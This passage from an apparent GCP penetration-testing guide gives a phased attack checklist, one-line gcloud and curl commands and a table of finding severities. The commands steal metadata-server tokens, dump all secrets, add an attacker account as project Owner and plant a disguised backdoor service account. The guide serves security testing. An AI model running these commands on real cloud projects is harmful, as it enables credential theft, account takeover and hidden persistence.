# - Firewall rules open to 0.0.0.0/0
# - SA keys older than 90 days

12. Complete Cheat Sheet

12.1 GCP Pentest Methodology

Phase 1: RECON (External)
□ GCS bucket discovery → GCPBucketBrute
□ Firebase/Firestore public DB check
□ Subdomain enum → .appspot.com, .run.app, *.cloudfunctions.net
□ GitHub/code scan → TruffleHog (SA JSON keys, API keys)
□ Google API key abuse testing

Phase 2: INITIAL ACCESS
□ Leaked SA JSON key → gcloud auth activate-service-account
□ SSRF → IMDS → steal SA access token
□ Public Cloud Function/Cloud Run exploitation
□ Public Firebase database read/write
□ GCS public bucket download (SA keys, configs, secrets)

Phase 3: ENUMERATION (Authenticated)
□ gcloud auth whoami + gcloud projects list
□ bf_my_gcp_perms → what can I do?
□ ScoutSuite → full account audit
□ gcloud projects get-iam-policy → full IAM bindings
□ gcloud iam service-accounts list → all SAs
□ Enumerate: CE, GCS, GCF, Cloud Run, GKE, Secret Manager

Phase 4: PRIVILEGE ESCALATION
□ GCP Priv Esc Scanner → all escalation paths
□ Check: iam.serviceAccountTokenCreator → impersonate!
□ Check: iam.serviceAccounts.actAs + compute.instances.create
□ Check: cloudfunctions.functions.create + actAs
□ Check: resourcemanager.projects.setIamPolicy → direct Owner
□ Check: Default Compute SA with Editor role

Phase 5: CREDENTIAL HARVESTING
□ IMDS token theft from all accessible VMs
□ Secret Manager full dump
□ SA keys stored in GCS buckets
□ Cloud Function / Cloud Run environment variables
□ Startup scripts from instance metadata

Phase 6: LATERAL MOVEMENT
□ Cross-project movement via organization-level IAM
□ SA impersonation chains
□ GKE pod → node IMDS → SA token
□ Cloud Build SA abuse

Phase 7: PERSISTENCE
□ Create backdoor SA + JSON key + Owner binding
□ Add your Google account to project IAM as Owner
□ Create Cloud Scheduler job → periodic IAM re-add
□ Add SA token creator binding for future impersonation

12.2 One-Line Command Reference

# Who am I:
gcloud auth list && gcloud config list account

# All IAM bindings in project:
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.bindings[] | {role:.role, members:.members}'

# Steal IMDS SA token:
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Steal startup script secrets:
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script"

# List + download all GCS buckets:
for b in $(gsutil ls | sed 's|gs://||;s|/||'); do echo "=== $b ==="; gsutil ls -r gs://$b/ 2>/dev/null; done

# Dump all Secret Manager secrets:
for s in $(gcloud secrets list --format="value(name)"); do echo "$s:"; gcloud secrets versions access latest --secret=$s 2>/dev/null; echo ""; done

# Add yourself as Owner (if you have setIamPolicy):
gcloud projects add-iam-policy-binding PROJECT_ID --member="user:attacker@gmail.com" --role="roles/owner"

# Create backdoor SA + key:
gcloud iam service-accounts create backdoor --display-name "Monitoring SA"; gcloud projects add-iam-policy-binding PROJECT_ID --member="serviceAccount:backdoor@PROJECT_ID.iam.gserviceaccount.com" --role="roles/owner"; gcloud iam service-accounts keys create key.json --iam-account=backdoor@PROJECT_ID.iam.gserviceaccount.com

# Impersonate SA:
gcloud auth print-access-token --impersonate-service-account=TARGET_SA@PROJECT.iam.gserviceaccount.com

# Brute-force permissions:
python3 bf_my_gcp_perms.py --access-token $(gcloud auth print-access-token) --project PROJECT_ID

12.3 Common Findings Severity Reference

Finding Severity Impact
Public GCS bucket with sensitive data 🔴 Critical Data exposure
SSRF → IMDS → SA token theft 🔴 Critical Full project access
SA JSON key leaked in GitHub/GCS 🔴 Critical Full SA access
Default Compute SA with Editor role 🔴 Critical Privilege escalation
Public Firebase database (read/write) 🔴 Critical Data exposure + write
iam.serviceAccountTokenCreator abusable 🟠 High SA impersonation
Cloud Function with no auth + priv SA 🟠 High Code exec + privesc
SA keys older than 90 days 🟡 Medium Stale credential risk
Firewall rule 0.0.0.0/0 all ports 🟠 High Exposed services
GCS bucket public list (no data exposed) 🟡 Medium Enumeration risk
Primitive roles (Editor) on humans 🟠 High Overprivileged access
Cloud Run service with no auth 🟡 Medium Exposed endpoint
Secret Manager secret accessible by low-priv SA 🟠 High Credential theft

← Cloud top ↑